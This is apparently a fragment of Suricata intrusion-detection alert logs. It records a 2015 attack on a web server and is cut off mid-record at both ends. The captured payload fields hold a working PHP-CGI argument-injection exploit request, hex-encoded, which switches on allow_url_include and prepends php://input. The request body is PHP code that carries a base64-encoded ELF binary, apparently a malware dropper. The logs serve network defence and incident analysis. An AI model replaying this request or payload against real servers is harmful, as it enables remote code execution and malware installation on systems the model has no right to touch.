VNQUFBQUFBQUJOUXdBQUFBQUFBQUFBRUFBQUFBQUFBUUFBQUFZQUFBRGdtd0FBQUFBQUFPQ2JVQUFBQUFBQTRKdFFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBUUFBQUFBQUNablpaNFZWQllJUWdJRFJZQUFBQUFZSjRBQUdDZUFBQUFBZ0FBcUFBQUFBZ0FBQUM3K3lEL2YwVk1SZ0lCQVFBQ0FENEFHOUFiUUIvM04vbmVDeENnbHljNEFBZ0tRTnJhK3hzQUdnQUdIZ1ZQRGtCNXQybnZ3TFVQQ0U4RDRBVHRIZXdXOFVBUEhBc1BXNEZiTWdIZkd3K3hic2tIWklrQUFSQnZEdVF0M1FZZGtBNVFNTW5KeE42cDRBdHZBaWprZ21uTEtBK2d2NkRrVTA0dUJCd1BRRCtaOWc0Z0N3OEVVT1YwWkR1UTkzWVg1SUFkRGtDVXp4dWNhMjhQYjFGT0FTU0VZQVJQcUNSSmt2OWtod0FBV2pnQUFBaEpCd0J2LzdiOUwyeHBZalkwQ21RdEVHNTFlQzE0T0RZdEhpNXpieTdzL3J6Mk1nQUVBQUFRQmdGSFRsVUFBUUlBZHZJbTJRWUFReFpRU3cvUDh6enZQRDVKUUUweU85am5uVHhFU2dZSE9RQUI4N3JKbXhNV05NOHAxaGFlZDNMSk5pZ05OalUrZ3BQbmVVVk1JRTluNTNuZTdRc2ZTRDRGS3pGeU8zbWVKU29qSVE4NFRtNVhjQzBuUFE5SER2TTh6L01HT2tGR0d4Uk4wRDdQVGdnekFBRUQzSzZRcTE4UEdFY1FkOG56bkJVRUNoSVd1V0Mza3g4ZUR5YWZFVjNJeVRzdVJna2lMTjZGdklzZkJpWXdKeDRrUEp5OFN5OFdOeHhPUC9JOHovTVhHVUlkRENYdFZYSWFpZ0V1RXA1Y3lNazRicU5KQWhOeWRrSklBWTkyQUFYc2RpRW5ubXhmdkMva1FrWmVoUUFtS0xtUUMrUlB5UGZJa3dzNTlsN0hBQ1lJbmt6SUNBSWZjU0U1dVFpdmpzNjU0VUp1angrdkR3dTRrSk1MMVhTUmkwMGdMeDlxQUE2L01uc2h0NWt2YU8xRWozdnRZaWNYSVNEdm15K2NrQmZJZ2hVQ3ZncVo0b1dNQjJJQmp6c1h5TWdMSVFJWVZnSVpPYkVBWDk4THRJdmdndUVHYjFzZnljVTYwZWtIRkRjdFg1d0xPYm5Zenk4T3UwZGV5TWc4QVpWVUFMTUFGM0l5SWR6L3FveThrSkVCK0dZQTBGekl5WVdMOG1SeWNpRjNmOXdTUVZ1NzJBVmpYeXMvajNLNzJBQ2tYNlF2TlBKaVlSZjBiNys1QVN3TUZ6SmwxSzh2Y2pLeEYyb0NYNkxaWE1nRkZ4QWZ3ZklodDVDYzk3OHViaGR5Y2pmck0xOWlGekx5UWprQk5LMUdYc2hGbjFISkFGU1JGN3RBU0M4OEF4ZHl1NURoUysvSWtIWkFnV0VSQWcvb2o3a0lUaTZwU1U4bEZ6S0JQTG9BUEhHY1hNZ0YzNWdSUXJEUWRZRnhuejh1NUhheEx3cVByZTVlNFlYY0wzc2ZBYXZBYlIreGFSRkFsWnNJUHhlYm10QTlJQTlDNzBFNXViaHVqOVEvQ2xuL0Yrd0NGYjhBWDBwMlgxSmxaMmwyKyszL2MzUmxja05zWVhOelpYTW1YMmR0YjI1ZkpHRnlkQmIveE4rSkFIUndkR2h5WldGa1hqQUFkMkZ0VGJYOWFYUndhV1FBSW1OMmNGQnVEblFBV3J0cHYwTmZaWGhwR1dNS3JnQ21idHRkejk1YVlXTmpaUzU1cW05eWF5cHBaL2Jmbm0wbWRHbCszbWh1Y25KdWIxOXNiMk5oSlZ0M3NOZ2hDR1A5Tm01MGN2LzJhL1pqY0hrQUtIaHNHR1J2ZGFCMmMzQnlhVzUwWnUzK2JHc2ViaEdBVG5SdmJGOGFsRzVkY0ErMllWUm5aV3RtRHNSdFpXMVoyd1RYaVhES0ZpWmxiMkp0UmdMYkJOdmFnbXhsVGdwNWMzQk1EbXd6YTBCdlJQanVZMnRxam15c1dmc04xV1ptYkhWemFBeGpYQ0lBYXBXZEdScEtiUXg1YTJrTUp0Nkdaak55ekdsdVh3UmtjbXAwNE4xMjVuK1FjaFpsYTlycDRXRFEzVDRFRFc0VXJRcnNCSnY4dm0xd2QyUjFFT1J2Mm9FTi9qSmZTVTlmYUxxamZteG40R0F0V1c2TXhaSEF3T0IrWmhnaThuTnlZZlRSOXR1WndkTnVPQmxqZHlkb2Iyd3d3VDNEWW5rU0tHaVNDWEJCV3hoT2lXWjNhbEFvZDNkNGZtWVliUGIxY0hWbXNGWWdlQTh3L0hrUVh6UVEzT0lnT0hRN0FHUmhBalBzc0xoaFEyZVVoQ3FlUVFOYmJFMStjMEJtdFg4YlRHck9SMHhKUWtOZk1pNENOVzNydm80WE0wa0RBd2NEMXRLV3ZCWURDeWZrYW0vRUE1ZVBCQkFzdHExYkt5dFBudDZxVHdJa25oQjFHclozdThacENhcDJRUUZTcVQrMzkvazFZaE5wYVEyQ0FpZGZBbVNZOFNISWtWREhUeTk1dzVVL0JTNUs2QWZiSkRQb0FGNWFyd0h3ajhrbGwzUXZBdmdEa2tzbWVRQ1NCQWhMTHJua0JSQUdMcm5ra2hnSElBaTU1SkpMS0FrdzVKSkxMZ280QzVKTExybEFERWhMTHJua0RWQU9Mcm5ra2xnUFlCQzU1SkpMYUJGdzVKSkxMaEo0RTVKTExybUFGSWhMTHJua0ZaQVdMcm5ra3BnWG9CaTU1SkpMcUJtdzVKSkxMaHE0RzVKTExybkFITWhMTHJua0hkQWVMcm5ra3RnZjRDQ0FuSnlJLzJGYklTUURNc21TSXBJZ2t3eklJNU1reVlCTU1wTWxrOGdrQXpJbWt5Y3lJSk1Na3lpVE1zbUFUQ21US2d6SUpBT1RLNU5NTWlDVExKTXRBekxKZ0pNdWs1TU15Q1F2a3pDQVRESWdrekVrQXpMSmt6S1RJSk1NeURPVE5NbUFUREtUTlpQSUpBTXlOcE0zTWlDVERKTTRrekxKZ0V3NWt6b015Q1FEa3p1VFRESWdrenlUUFFNeXlZQ1RQcE9URE1na1A1TkFBVGs1SVdSY1FVa0daSktUUXBOQUpobVFRNVJFa2dHWlpKUkZsSkJKQm1SR2xFZGtRQ1labEVpVVpKSUJtVW1VVEJtUVNRYVVUWlI5ZUVBbVRvUHNDRVlaK08vLzdmTUlHbHh1SENURUNNUC9OZEo2RUFEL0pkUUtrSFlxZFhZQUVoOW9GUlQ4SHBMS0pKWEtBY0lDcERKSlpib0RzZ1NwVEZLWnFnV2lCaXFUVkNhYUI1SUl5aVNWU1lvSmdqSkpaWklLZWd0eVRGS1pwQXhxRFdLVFZDYXBEbG9QVWlTVlNTb1FTaEZKWlpMS1FoSTZFMUtacERJeUZDb1ZWQ2FwVENJV0doZVZTU3FURWhnS0dYT1N5aVFDR3ZwNW1hUXl5UnZ5SE9vbXFVeFNIZUllMmtrcWsxUWYwaUNTeWlTVnlpSENJcVF5U1dXNkk3SWtxVXhTbWFvbG9pWXFrMVFtbWllU0tNb2tsVW1LS1lJeVNXV1NLbm9yY2t4U21hUXNhaTFpazFRbXFTNWFMMUlrbFVrcU1Fb3hTV1dTeWtJeU9qTlNtYVF5TWpRcU5WUW1xVXdpTmhvM2xVa3FreEk0Q2psemtzb2tBanI2ZUpta01zazc4anpxSnFsTVVqM2lQdHBKS3BOVVA5SkFrc29rbGNwQndrS2tNa2xsdWtPeVJLbE1VcG1xUmFKR0twTlVKcHBIa2tqS0pKVkppa21DUDBobGtrcDZTMGd4N1VtSkJmOEYrTkZlU0luaXZPVHdVRlJK","payload_printable":"POST \/cgi-bin\/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%22%79%65%73%22+%2D%64+%63%67%69%2E%66%69%78%5F%70%61%74%68%69%6E%66%6F%3D%31+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E HTTP\/1.1\r\nHost: 128.101.111.14\r\nUser-Agent: Mozilla\/5.0 (Windows NT 6.3; rv:36.0) Gecko\/20100101 Firefox\/36.0\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 43368\r\nConnection: close\r\n\r\n<?php\n$bufferf = 'f0VMRgIBAQMAAAAAAAAAAAIAPgABAAAAUDsQAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAACAEAAAAAAAAEAAAAFAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAATUMAAAAAAABNQwAAAAAAAAAAEAAAAAAAAQAAAAYAAADgmwAAAAAAAOCbUAAAAAAA4JtQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAACZnZZ4VVBYIQgIDRYAAAAAYJ4AAGCeAAAAAgAAqAAAAAgAAAC7+yD\/f0VMRgIBAQACAD4AG9AbQB\/3N\/neCxCglyc4AAgKQNra+xsAGgAGHgVPDkB5t2nvwLUPCE8D4ATtHewW8UAPHAsPW4FbMgHfGw+xbskHZIkAARBvDuQt3QYdkA5QMMnJxN6p4AtvAijkgmnLKA+gv6DkU04uBBwPQD+Z9g4gCw8EUOV0ZDuQ93YX5IAdDkCUzxuca28Pb1FOASSEYARPqCRJkv9khwAAWjgAAAhJBwBv\/7b9L2xpYjY0CmQtEG51eC14ODYtHi5zby7s\/rz2MgAEAAAQBgFHTlUAAQIAdvIm2QYAQxZQSw\/P8zzvPD5JQE0yO9jnnTxESgYHOQAB87rJmxMWNM8p1haed3LJNigNNjU+gpPneUVMIE9n53ne7QsfSD4FKzFyO3meJSojIQ84Tm5XcC0nPQ9HDvM8z\/MGOkFGGxRN0D7PTggzAAED3K6Qq18PGEcQd8nznBUEChIWuWC3kx8eDyafEV3IyTsuRgkiLN6FvIsfBiYwJx4kPJy8Sy8WNxxOP\/I8z\/MXGUIdDCXtVXIaigEuEp5cyMk4bqNJAhNydkJIAY92AAXsdiEnnmxfvC\/kQkZehQAmKLmQC+RPyPfIkws59l7HACYInkzICAIfcSE5uQivjs654UJujx+vDwu4kJML1XSRi00gLx9qAA6\/Mnsht5kvaO1Ej3vtYicXISDvmy+ckBfIghUCvgqZ4oWMB2IBjzsXyMgLIQIYVgIZObEAX98LtIvgguEGb1sfycU60ekHFDctX5wLObnYzy8Ou0deyMg8AZVUALMAF3IyIdz\/qoy8kJEB+GYA0FzIyYWL8mRyciF3f9wSQVu72AVjXys\/j3K72ACkX6QvNPJiYRf0b7+5ASwMFzJl1K8vcjKxF2oCX6LZXMgFFxAfwfIht5Cc978ubhdycjfrM19iFzLyQjkBNK1GXshFn1HJAFSRF7tASC88Axdyu5DhS+\/IkHZAgWERAg\/oj7kITi6pSU8lFzKBPLoAPHGcXMgF35gRQrDQdYFxnz8u5HaxLwqPre5e4YXcL3sfAavAbR+xaRFAlZsIPxebmtA9IA9C70E5ubhuj9Q\/Cln\/F+wCFb8AX0p2X1JlZ2l2++3\/c3RlckNsYXNzZXMmX2dtb25fJGFydBb\/xN+JAHRwdGhyZWFkXjAAd2FtTbX9aXRwaWQAImN2cFBuDnQAWrtpv0NfZXhpGWMKrgCmbttdz95aYWNjZS55qm9yayppZ\/bfnm0mdGl+3mhucnJub19sb2NhJVt3sNghCGP9Nm50cv\/2a\/ZjcHkAKHhsGGRvdaB2c3ByaW50Zu3+bGsebhGATnRvbF8alG5dcA+2YVRnZWtmDsRtZW1Z2wTXiXDKFiZlb2JtRgLbBNvagmxlTgp5c3BMDmwza0BvRPjuY2tqjmysWfsN1WZmbHVzaAxjXCIAapWdGRpKbQx5a2kMJt6GZjNyzGluXwRkcmp04N125n+QchZla9rp4WDQ3T4EDW4UrQrsBJv8vm1wd2R1EORv2oEN\/jJfSU9faLqjfmxn4GAtWW6MxZHAwOB+Zhgi8nNyYfTR9tuZwdNuOBljdydob2wwwT3DYnkSKGiSCXBBWxhOiWZ3alAod3d4fmYYbPb1cHVmsFYgeA8w\/HkQXzQQ3OIgOHQ7AGRhAjPssLhhQ2eUhCqeQQNbbE1+c0BmtX8bTGrOR0xJQkNfMi4CNW3rvo4XM0kDAwcD1tKWvBYDCyfkam\/EA5ePBBAstq1bKytPnt6qTwIknhB1GrZ3u8ZpCap2QQFSqT+39\/k1YhNpaQ2CAidfAmSY8SHIkVDHTy95w5U\/BS5K6AfbJDPoAF5arwHwj8kll3QvAvgDkksmeQCSBAhLLrnkBRAGLrnkkhgHIAi55JJLKAkw5JJLLgo4C5JLLrlADEhLLrnkDVAOLrnkklgPYBC55JJLaBFw5JJLLhJ4E5JLLrmAFIhLLrnkFZAWLrnkkpgXoBi55JJLqBmw5JJLLhq4G5JLLrnAHMhLLrnkHdAeLrnkktgf4CCAnJyI\/2FbISQDMsmSIpIgkwzII5MkyYBMMpMlk8gkAzImkycyIJMMkyiTMsmATCmTKgzIJAOTK5NMMiCTLJMtAzLJgJMuk5MMyCQvkzCATDIgkzEkAzLJkzKTIJMMyDOTNMmATDKTNZPIJAMyNpM3MiCTDJM4kzLJgEw5kzoMyCQDkzuTTDIgkzyTPQMyyYCTPpOTDMgkP5NAATk5IWRcQUkGZJKTQpNAJhmQQ5REkgGZZJRFlJBJBmRGlEdkQCYZlEiUZJIBmUmUTBmQSQaUTZR9eEAmToPsCEYZ+O\/\/7fMIGlxuHCTECMP\/NdJ6EAD\/JdQKkHYqdXYAEh9oFRT8HpLKJJXKAcICpDJJZboDsgSpTFKZqgWiBiqTVCaaB5IIyiSVSYoJgjJJZZIKegtyTFKZpAxqDWKTVCapDloPUiSVSSoQShFJZZLKQhI6E1KZpDIyFCoVVCapTCIWGheVSSqTEhgKGXOSyiQCGvp5maQyyRvyHOomqUxSHeIe2kkqk1Qf0iCSyiSVyiHCIqQySWW6I7IkqUxSmaoloiYqk1QmmieSKMoklUmKKYIySWWSKnorckxSmaQsai1ik1QmqS5aL1IklUkqMEoxSWWSykIyOjNSmaQyMjQqNVQmqUwiNho3lUkqkxI4CjlzksokAjr6eJmkMsk78jzqJqlMUj3iPtpJKpNUP9JAksoklcpBwkKkMkllukOyRKlMUpmqRaJGKpNUJppHkkjKJJVJikmCP0hlkkp6S0gx7UmJBf8F+NFeSInivOTwUFRJx8Cgb5pIwD\/w78fB","stream":1,"packet":"fK10kl+AfK10kj0AgQAOfggARQAF3B2fQAA4BpSAW3lAEIBlbw7hLgBQSnxXuMwd13OAEABzz3YAAAEBCAoDoFta1F+brmd6MzBEakF3N2hhSUhqKzh4a2ZVLzJIZ3k4dSsrc0R4Z0krM3l3VzdFaU5CQU13OXYrMkJsRC94a0QvUEExMDVUd0tkT0ZidzErRUgvNDVqeFU4Zy9qL2RBVmZ2d0U0dHJiOS94aWNQeUZmYkRrVVV5dm9lRjFtQjkxM3cvZDdHRUJjMkJZQmRDWkVGd3dZOENudGZraVlTUGMxeGlSSXVJVC93UENjSFZ6QUQ4aUp2dzRqRjd3dHUzYy9heVZJbVA4WG5QYjNQNFNKWENUd1RJbGtKUGhTS0VHSi9DQ1BPNHYxNFVHNEVNeTZGVmhxbllVTTd3UWtIZy9lWjZHc2RwdmNmbEJFaWVkWEZEV0xxTGMxdk9ZWVRJc2c0aWpqQmtGV1FSYmMvdnRWUVZSVlU5b2dUSTEwSkJ3SWJDUUV0dFIyY084ZWI4Y0ZHbnlzQU5BY205Szl0aTFvRDRTZ0hoMHlzRDRBMHdhaURTc012d2ExSUs1d204M2tlM2ppUGV1RTBMeVREUExPZHgyWkp0Zi93Mis0N3lDSlJQNDlwSDRNOHI0aFZOTnNzQmgrd0diaXZBcEU3cWJCM1RWTEhESC82WXpGNno0aE0zamF3VHpISFhCcnVqYzAzL0ViV3VZRXc5ZDBiWXNEUW1wMFpvUG9EenNNdDNJT0FYY2E2eGZza3lub1NHVEIwMjR5Q1hheWhDaEl4QzE4STgrQ1hiMHM2VXdjZ2h3WXRxRjlqL3c3MUVoalVCUW9RTGFKN2d4QnMzMitPRkFWVEIwQ1R1UjZSWEJEMnFCNE1jbTZEUlV5eWtBT3VaQUNzQWwvMFA3RmFDQmJYVUZjUVFaZW9ReVo5ejBaOGRYQlUzUklZK1FFMVpER29HaGdmZ2FCZTAyaXY0NDB2K2xVb1BkSmlkUlZVL09KM3YvL2I5ckM2eGJsU0lueVNQL0JTSTEyQVlBNklYUUpTRG5JMWVCV24zVVVDd09MTFJZaUVBVUxHclFFN3JjTTVIVXBQa0hoYThQL2dEd2tPZytVd0VrQnhBanRkUHp2UEdqUTBFVmNDT2M1TEJUZWVUdUF5OEJqa0ZEWEJJSVBQbDdWK3V2RUdBTXg5Z0FGLzg5ZXF2ODV3bk1TZ0RzZ2RBMy94aEREc01kOUJhTFdJbkx1Q0RNZ0ZVVlM4RzAyS29QNUJIN1dmdCtXTDVmS0lNRVpOVlo1SHE3Y0Mza1BoYU9pQm5ZQXJHQWcyQnQ0TkMza0MwNFJJWFI4R1FKKzJ0WXdDaVlQQzRzT08zcjBVNnpBU0xJUVRHd0NMNEMxT3pSY0VxQURpQVY0T0I5cG14UVFRd0VTYlFMR0JXQngyc1AxLzEwUENEWlFrRHRlOHdnWXc1Mzk3T0FXN1Y2Zk1oWXdBMXpybzFoM0xEQ2ZZUkZaV3dnL3JzSUpLa1l1cUp1OEdoejhSSE9jdjRod1FGekNwOEExWUFYb1p4dzEzNzBBZzZjaGpuODRlb2Zkc1pwc1lmOVZOUHp3YXdCUjFReVV5d2kvZTJ1TE5IUXd4dlVFMCtzTWtOOHAwM1FaU0FFYW5BSzB4UlRhaHU0YlhIS3Q0NjhZQUh3VGRkK3E2RURZMDAzeHIyWUZ3OXVET0FSMUJsaTI2OEZ0Z0EzcXg4QkY2OXphM3lqNGl1N1RmN3dHdzNVQ1c4T0ZnUUVLZmtGWGpVSURGdGZ2THFEQlAwMzFTVEh0UUREdE9Sait5cldpTmtTWStNYmFFUFpCd2Y4QzFUdkhpYWtXM0hzakVCNjdNZTNlN0EzTUdJaFVQM1FHYlREYno3Q0s3V001NEFGN2hFd3hzSW05eGlBQVFRSzlQSzN0Mk42OGhkc1BqaElpM0JZVUpBWk1Yb21HMzk3dzBJUGlBN3dDd2VJRUhzQkFpcWlnZ043RnRkZi9p","alert":{"action":"allowed","gid":1,"signature_id":2016980,"rev":5,"signature":"ET WEB_SERVER disable_functions PHP config option in uri","category":"A Network Trojan was Detected","severity":1,"tx_id":0}}
|
|
{"timestamp":"2015-04-07T11:30:44.546943","flow_id":140262261274608,"in_iface":"snf0","event_type":"alert","vlan":3710,"src_ip":"91.121.64.16","src_port":57646,"dest_ip":"128.101.111.14","dest_port":80,"proto":"TCP","alert":{"action":"allowed","gid":1,"signature_id":2016977,"rev":3,"signature":"ET WEB_SERVER allow_url_include PHP config option in uri","category":"A Network Trojan was Detected","severity":1,"tx_id":0},"payload":"cMladbN\/AAAAEAAA\/w8AAFBPU1QgL2NnaS1iaW4vcGhwPyUyRCU2NCslNjElNkMlNkMlNkYlNzclNUYlNzUlNzIlNkMlNUYlNjklNkUlNjMlNkMlNzUlNjQlNjUlM0QlNkYlNkUrJTJEJTY0KyU3MyU2MSU2NiU2NSU1RiU2RCU2RiU2NCU2NSUzRCU2RiU2NiU2NislMkQlNjQrJTczJTc1JTY4JTZGJTczJTY5JTZFJTJFJTczJTY5JTZEJTc1JTZDJTYxJTc0JTY5JTZGJTZFJTNEJTZGJTZFKyUyRCU2NCslNjQlNjklNzMlNjElNjIlNkMlNjUlNUYlNjYlNzUlNkUlNjMlNzQlNjklNkYlNkUlNzMlM0QlMjIlMjIrJTJEJTY0KyU2RiU3MCU2NSU2RSU1RiU2MiU2MSU3MyU2NSU2NCU2OSU3MiUzRCU2RSU2RiU2RSU2NSslMkQlNjQrJTYxJTc1JTc0JTZGJTVGJTcwJTcyJTY1JTcwJTY1JTZFJTY0JTVGJTY2JTY5JTZDJTY1JTNEJTcwJTY4JTcwJTNBJTJGJTJGJTY5JTZFJTcwJTc1JTc0KyUyRCU2NCslNjMlNjclNjklMkUlNjYlNkYlNzIlNjMlNjUlNUYlNzIlNjUlNjQlNjklNzIlNjUlNjMlNzQlM0QlMzArJTJEJTY0KyU2MyU2NyU2OSUyRSU3MiU2NSU2NCU2OSU3MiU2NSU2MyU3NCU1RiU3MyU3NCU2MSU3NCU3NSU3MyU1RiU2NSU2RSU3NiUzRCUyMiU3OSU2NSU3MyUyMislMkQlNjQrJTYzJTY3JTY5JTJFJTY2JTY5JTc4JTVGJTcwJTYxJTc0JTY4JTY5JTZFJTY2JTZGJTNEJTMxKyUyRCU2NCslNjElNzUlNzQlNkYlNUYlNzAlNzIlNjUlNzAlNjUlNkUlNjQlNUYlNjYlNjklNkMlNjUlM0QlNzAlNjglNzAlM0ElMkYlMkYlNjklNkUlNzAlNzUlNzQrJTJEJTZFIEhUVFAvMS4xDQpIb3N0OiAxMjguMTAxLjExMS4xNA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4zOyBydjozNi4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzM2LjANCkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkDQpDb250ZW50LUxlbmd0aDogNDMzNjgNCkNvbm5lY3Rpb246IGNsb3NlDQoNCjw\/cGhwCiRidWZmZXJmID0gJ2YwVk1SZ0lCQVFNQUFBQUFBQUFBQUFJQVBnQUJBQUFBVURzUUFBQUFBQUJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUVBQU9BQUNBRUFBQUFBQUFBRUFBQUFGQUFBQUFBQUFBQUFBQUFBQUFCQUFBQUFBQUFBQUVBQUFBQUFBVFVNQUFBQUFBQUJOUXdBQUFBQUFBQUFBRUFBQUFBQUFBUUFBQUFZQUFBRGdtd0FBQUFBQUFPQ2JVQUFBQUFBQTRKdFFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBUUFBQUFBQUNablpaNFZWQllJUWdJRFJZQUFBQUFZSjRBQUdDZUFBQUFBZ0FBcUFBQUFBZ0FBQUM3K3lEL2YwVk1SZ0lCQVFBQ0FENEFHOUFiUUIvM04vbmVDeENnbHljNEFBZ0tRTnJhK3hzQUdnQUdIZ1ZQRGtCNXQybnZ3TFVQQ0U4RDRBVHRIZXdXOFVBUEhBc1BXNEZiTWdIZkd3K3hic2tIWklrQUFSQnZEdVF0M1FZZGtBNVFNTW5KeE42cDRBdHZBaWprZ21uTEtBK2d2NkRrVTA0dUJCd1BRRCtaOWc0Z0N3OEVVT1YwWkR1UTkzWVg1SUFkRGtDVXp4dWNhMjhQYjFGT0FTU0VZQVJQcUNSSmt2OWtod0FBV2pnQUFBaEpCd0J2LzdiOUwyeHBZalkwQ21RdEVHNTFlQzE0T0RZdEhpNXpieTdzL3J6Mk1nQUVBQUFRQmdGSFRsVUFBUUlBZHZJbTJRWUFReFpRU3cvUDh6enZQRDVKUUUweU85am5uVHhFU2dZSE9RQUI4N3JKbXhNV05NOHAxaGFlZDNMSk5pZ05OalUrZ3BQbmVVVk1JRTluNTNuZTdRc2ZTRDRGS3pGeU8zbWVKU29qSVE4NFRtNVhjQzBuUFE5SER2TTh6L01HT2tGR0d4Uk4wRDdQVGdnekFBRUQzSzZRcTE4UEdFY1FkOG56bkJVRUNoSVd1V0Mza3g4ZUR5YWZFVjNJeVRzdVJna2lMTjZGdklzZkJpWXdKeDRrUEp5OFN5OFdOeHhPUC9JOHovTVhHVUlkRENYdFZYSWFpZ0V1RXA1Y3lNazRicU5KQWhOeWRrSklBWTkyQUFYc2RpRW5ubXhmdkMva1FrWmVoUUFtS0xtUUMrUlB5UGZJa3dzNTlsN0hBQ1lJbmt6SUNBSWZjU0U1dVFpdmpzNjU0VUp1angrdkR3dTRrSk1MMVhTUmkwMGdMeDlxQUE2L01uc2h0NWt2YU8xRWozdnRZaWNYSVNEdm15K2NrQmZJZ2hVQ3ZncVo0b1dNQjJJQmp6c1h5TWdMSVFJWVZnSVpPYkVBWDk4THRJdmdndUVHYjFzZnljVTYwZWtIRkRjdFg1d0xPYm5Zenk4T3UwZGV5TWc4QVpWVUFMTUFGM0l5SWR6L3FveThrSkVCK0dZQTBGekl5WVdMOG1SeWNpRjNmOXdTUVZ1NzJBVmpYeXMvajNLNzJBQ2tYNlF2TlBKaVlSZjBiNys1QVN3TUZ6SmwxSzh2Y2pLeEYyb0NYNkxaWE1nRkZ4QWZ3ZklodDVDYzk3OHViaGR5Y2pmck0xOWlGekx5UWprQk5LMUdYc2hGbjFISkFGU1JGN3RBU0M4OEF4ZHl1NURoUysvSWtIWkFnV0VSQWcvb2o3a0lUaTZwU1U4bEZ6S0JQTG9BUEhHY1hNZ0YzNWdSUXJEUWRZRnhuejh1NUhheEx3cVByZTVlNFlYY0wzc2ZBYXZBYlIreGFSRkFsWnNJUHhlYm10QTlJQTlDNzBFNXViaHVqOVEvQ2xuL0Yrd0NGYjhBWDBwMlgxSmxaMmwyKyszL2MzUmxja05zWVhOelpYTW1YMmR0YjI1ZkpHRnlkQmIveE4rSkFIUndkR2h5WldGa1hqQUFkMkZ0VGJYOWFYUndhV1FBSW1OMmNGQnVEblFBV3J0cHYwTmZaWGhwR1dNS3JnQ21idHRkejk1YVlXTmpaUzU1cW05eWF5cHBaL2Jmbm0wbWRHbCszbWh1Y25KdWIxOXNiMk5oSlZ0M3NOZ2hDR1A5Tm01MGN2LzJhL1pqY0hrQUtIaHNHR1J2ZGFCMmMzQnlhVzUwWnUzK2JHc2ViaEdBVG5SdmJGOGFsRzVkY0ErMllWUm5aV3RtRHNSdFpXMVoyd1RYaVhES0ZpWmxiMkp0UmdMYkJOdmFnbXhsVGdwNWMzQk1EbXd6YTBCdlJQanVZMnRxam15c1dmc04xV1ptYkhWemFBeGpYQ0lBYXBXZEdScEtiUXg1YTJrTUp0Nkdaak55ekdsdVh3UmtjbXAwNE4xMjVuK1FjaFpsYTlycDRXRFEzVDRFRFc0VXJRcnNCSnY4dm0xd2QyUjFFT1J2Mm9FTi9qSmZTVTlmYUxxamZteG40R0F0V1c2TXhaSEF3T0IrWmhnaThuTnlZZlRSOXR1WndkTnVPQmxqZHlkb2Iyd3d3VDNEWW5rU0tHaVNDWEJCV3hoT2lXWjNhbEFvZDNkNGZtWVliUGIxY0hWbXNGWWdlQTh3L0hrUVh6UVEzT0lnT0hRN0FHUmhBalBzc0xoaFEyZVVoQ3FlUVFOYmJFMStjMEJtdFg4YlRHck9SMHhKUWtOZk1pNENOVzNydm80WE0wa0RBd2NEMXRLV3ZCWURDeWZrYW0vRUE1ZVBCQkFzdHExYkt5dFBudDZxVHdJa25oQjFHclozdThacENhcDJRUUZTcVQrMzkvazFZaE5wYVEyQ0FpZGZBbVNZOFNISWtWREhUeTk1dzVVL0JTNUs2QWZiSkRQb0FGNWFyd0h3ajhrbGwzUXZBdmdEa2tzbWVRQ1NCQWhMTHJua0JSQUdMcm5ra2hnSElBaTU1SkpMS0FrdzVKSkxMZ280QzVKTExybEFERWhMTHJua0RWQU9Mcm5ra2xnUFlCQzU1SkpMYUJGdzVKSkxMaEo0RTVKTExybUFGSWhMTHJua0ZaQVdMcm5ra3BnWG9CaTU1SkpMcUJtdzVKSkxMaHE0RzVKTExybkFITWhMTHJua0hkQWVMcm5ra3RnZjRDQ0FuSnlJLzJGYklTUURNc21TSXBJZ2t3eklJNU1reVlCTU1wTWxrOGdrQXpJbWt5Y3lJSk1Na3lpVE1zbUFUQ21US2d6SUpBT1RLNU5NTWlDVExKTXRBekxKZ0pNdWs1TU15Q1F2a3pDQVRESWdrekVrQXpMSmt6S1RJSk1NeURPVE5NbUFUREtUTlpQSUpBTXlOcE0zTWlDVERKTTRrekxKZ0V3NWt6b015Q1FEa3p1VFRESWdrenlUUFFNeXlZQ1RQcE9URE1na1A1TkFBVGs1SVdSY1FVa0daSktUUXBOQUpobVFRNVJFa2dHWlpKUkZsSkJKQm1SR2xFZGtRQ1labEVpVVpKSUJtVW1VVEJtUVNRYVVUWlI5ZUVBbVRvUHNDRVlaK08vLzdmTUlHbHh1SENURUNNUC9OZEo2RUFEL0pkUUtrSFlxZFhZQUVoOW9GUlQ4SHBMS0pKWEtBY0lDcERKSlpib0RzZ1NwVEZLWnFnV2lCaXFUVkNhYUI1SUl5aVNWU1lvSmdqSkpaWklLZWd0eVRGS1pwQXhxRFdLVFZDYXBEbG9QVWlTVlNTb1FTaEZKWlpMS1FoSTZFMUtacERJeUZDb1ZWQ2FwVENJV0doZVZTU3FURWhnS0dYT1N5aVFDR3ZwNW1hUXl5UnZ5SE9vbXFVeFNIZUllMmtrcWsxUWYwaUNTeWlTVnlpSENJcVF5U1dXNkk3SWtxVXhTbWFvbG9pWXFrMVFtbWllU0tNb2tsVW1LS1lJeVNXV1NLbm9yY2t4U21hUXNhaTFpazFRbXFTNWFMMUlrbFVrcU1Fb3hTV1d